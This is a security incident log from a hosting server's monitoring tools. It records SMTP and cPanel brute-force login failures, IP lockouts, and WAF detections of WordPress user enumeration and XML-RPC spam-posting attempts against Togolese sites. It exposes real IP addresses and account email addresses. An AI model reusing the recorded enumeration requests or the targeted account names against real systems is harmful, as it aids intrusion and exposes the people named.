# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:53:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:43484: 535 Incorrect authentication data (set_id=kanakana@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:54:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:19000: 535 Incorrect authentication data (set_id=choedhey@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:54:25 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:54:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34990: 535 Incorrect authentication data (set_id=hongkong@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:54:18 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:55:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:25178: 535 Incorrect authentication data (set_id=abel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:55:20 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:55:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:27664: 535 Incorrect authentication data (set_id=lyle@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:55:34 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.39
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=gmail.com&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:56:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:1112: 535 Incorrect authentication data (set_id=simran@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:56:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10154: 535 Incorrect authentication data (set_id=eek@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:56:17 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.223.194
country_id: 337996
description:
2026-06-27 09:56:18 dovecot_plain authenticator failed for H=(localhost) [196.190.223.194]:29937: 535 Incorrect authentication data (set_id=agounkej@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:56:28 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:56:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:50388: 535 Incorrect authentication data (set_id=eek@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:57:25 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:57:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18750: 535 Incorrect authentication data (set_id=combo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:57:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:45754: 535 Incorrect authentication data (set_id=ipfixe@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:57:23 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.179.152.99
country_id: 6252001
description:
[2026-06-27 09:58:32 +0000] info [cpaneld] 70.179.152.99 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:58:33 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:58:13 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.3.251.37
country_id: 6252001
description:
[2026-06-27 09:58:39 +0000] info [cpaneld] 173.3.251.37 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.58.232.52
country_id: 6252001
description:
[2026-06-27 09:58:41 +0000] info [cpaneld] 98.58.232.52 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:58:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58708: 535 Incorrect authentication data (set_id=relay@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:58:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:62090: 535 Incorrect authentication data (set_id=adress@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.24.197.192
country_id: 6252001
description:
[2026-06-27 09:58:35 +0000] info [cpaneld] 66.24.197.192 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.199.157.11
country_id: 6252001
description:
[2026-06-27 09:58:24 +0000] info [cpaneld] 71.199.157.11 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.185.197.6
country_id: 6252001
description:
[2026-06-27 09:58:44 +0000] info [cpaneld] 71.185.197.6 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:59:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41146: 535 Incorrect authentication data (set_id=u1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:59:25 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:00:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16642: 535 Incorrect authentication data (set_id=michaela@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:59:19 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:59:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:33910: 535 Incorrect authentication data (set_id=hitech@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 10:00:17 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:00:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49776: 535 Incorrect authentication data (set_id=michaela@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 10:00:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:14048: 535 Incorrect authentication data (set_id=reception@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 10:01:30 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:01:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:32282: 535 Incorrect authentication data (set_id=workflow@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 10:01:46 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 10:01:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:12150: 535 Incorrect authentication data (set_id=s24@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:02:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40792: 535 Incorrect authentication data (set_id=nasir@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 10:02:23 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 10:02:26 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 10:02:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:6464: 535 Incorrect authentication data (set_id=200@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.193.76.82
country_id: 6252001
description:
[2026-06-27 10:04:04 +0000] info [cpaneld] 152.193.76.82 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:03:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23298: 535 Incorrect authentication data (set_id=pma@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.138.33.193
country_id: 6252001
description:
[2026-06-27 10:03:55 +0000] info [cpaneld] 76.138.33.193 - camegt "GET /login/?login_only=1&user=camegt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.48.248.220
country_id: 6252001
description:
[2026-06-27 10:04:01 +0000] info [cpaneld] 68.48.248.220 - came "GET /login/?login_only=1&user=came&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user came (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 10:03:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:4538: 535 Incorrect authentication data (set_id=margot@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:03:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23538: 535 Incorrect authentication data (set_id=accepted@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.180.53.92
country_id: 6252001
description:
[2026-06-27 10:03:44 +0000] info [cpaneld] 70.180.53.92 - camegtogotg "GET /login/?login_only=1&user=camegtogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.75.229.51
country_id: 6252001
description:
[2026-06-27 10:03:48 +0000] info [cpaneld] 73.75.229.51 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.89.82
country_id: 6252001
description:
[2026-06-27 10:03:59 +0000] info [cpaneld] 172.59.89.82 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.188.112.206
country_id: 6252001
description:
[2026-06-27 10:04:02 +0000] info [cpaneld] 71.188.112.206 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.233.150.92
country_id: 6252001
description:
[2026-06-27 10:03:43 +0000] info [cpaneld] 96.233.150.92 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 37.114.148.254
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:39327.togodailynews.tg||ServerName:togodailynews.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2bb171c32ab391ff8bf850c6c6f632ddf15bcdea||Title:uxcaq3230mf2z9yh8n||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 10:03:18 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.140.208.52
country_id: 6252001
description:
[2026-06-27 10:03:45 +0000] info [cpaneld] 73.140.208.52 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.57.71.33
country_id: 6252001
description:
[2026-06-27 10:03:52 +0000] info [cpaneld] 153.57.71.33 - camegto "GET /login/?login_only=1&user=camegto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegto (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 10:03:18 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.173.219.213
country_id: 6252001
description:
[2026-06-27 10:03:39 +0000] info [cpaneld] 73.173.219.213 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 10:04:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63376: 535 Incorrect authentication data (set_id=badin@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.7.197.65
country_id: 6252001
description:
[2026-06-27 10:04:38 +0000] info [cpaneld] 68.7.197.65 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.95.184.36
country_id: 6252001
description:
[2026-06-27 10:04:31 +0000] info [cpaneld] 73.95.184.36 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 121.37.111.25
country_id: 1814991
description:
121.37.111.25 - - [27/Jun/2026:10:04:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038110&pdata=https%253A%252F%252Fmacite.tg%252Fwp-content%252Fuploads%252F2023%252F11%252FAnnexe-Liste-des-candidats-retenus-pour-la-formation-militaire.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782554669 HTTP/2.0" 302 0 macite.tg "https://macite.tg/wp-content/uploads/2023/11/Annexe-Liste-des-candidats-retenus-pour-la-formation-militaire.pdf" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:121.37.111.25


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.147.53.41
country_id: 6252001
description:
[2026-06-27 10:04:16 +0000] info [cpaneld] 132.147.53.41 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:04:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:63386: 535 Incorrect authentication data (set_id=pmo@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.230.14.8
country_id: 6252001
description:
[2026-06-27 10:04:13 +0000] info [cpaneld] 68.230.14.8 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 10:04:22 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.213.149.156
country_id: 6252001
description:
[2026-06-27 10:04:27 +0000] info [cpaneld] 98.213.149.156 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 10:04:34 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.47.141.242
country_id: 6252001
description:
[2026-06-27 10:04:18 +0000] info [cpaneld] 136.47.141.242 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 10:05:19 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 10:05:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35140: 535 Incorrect authentication data (set_id=bigpoppa@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 10:05:17 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:05:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:7584: 535 Incorrect authentication data (set_id=001221@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 10:06:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:54756: 535 Incorrect authentication data (set_id=myp@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 10:06:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:37138: 535 Incorrect authentication data (set_id=ddl@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 10:06:34 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 10:06:20 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.222.202
country_id: 2363686
description:
2026-06-27 10:07:26 dovecot_login authenticator failed for H=(LAPTOPAJEO7VMM) [102.64.222.202]:26488: 535 Incorrect authentication data (set_id=tete.doumashie@nps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 37.114.148.254
country_id: 587116
domain: togofeed.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:25539.togofeed.com||ServerName:togofeed.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9844b3fcbbb8f29bacd94032e3fbc3a714114f51||Title:6waxanct2hma9887||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.101.226.79
country_id: 298795
description:
[2026-06-27 10:07:23 +0000] info [webmaild] 85.101.226.79 - r.bergogne@ese2i.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [27/Jun/2026:10:12:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184858&pdata=http%253A%252F%252Fsahamtg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782555128 HTTP/1.1" 302 0 sahamtg.com "http://sahamtg.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.195.252
country_id: 1880251
description:
43.172.195.252 - - [27/Jun/2026:10:14:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855581&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F22759&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782555252 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/22759" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.195.252


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 102.165.55.230
country_id: 953987
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:102.165.55.230||TA:102.165.55.230||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.56.56.237
country_id: 1643084
description:
[2026-06-27 10:16:31 +0000] info [cpaneld] 31.56.56.237 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.127.97.105
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:209.127.97.105||TA:209.127.97.105||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.201
country_id: 1880251
description:
43.172.198.201 - - [27/Jun/2026:10:19:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9684632&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F06%252F26%252Fcourant-electrique-lexecutif-togolais-explique-les-causes-des-delestages-et-presente-sa-strategie-energetique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782555560 HTTP/1.1" 404 561 macite.tg "https://macite.tg/2026/06/26/courant-electrique-lexecutif-togolais-explique-les-causes-des-delestages-et-presente-sa-strategie-energetique/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.201


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.175
country_id: 1880251
description:
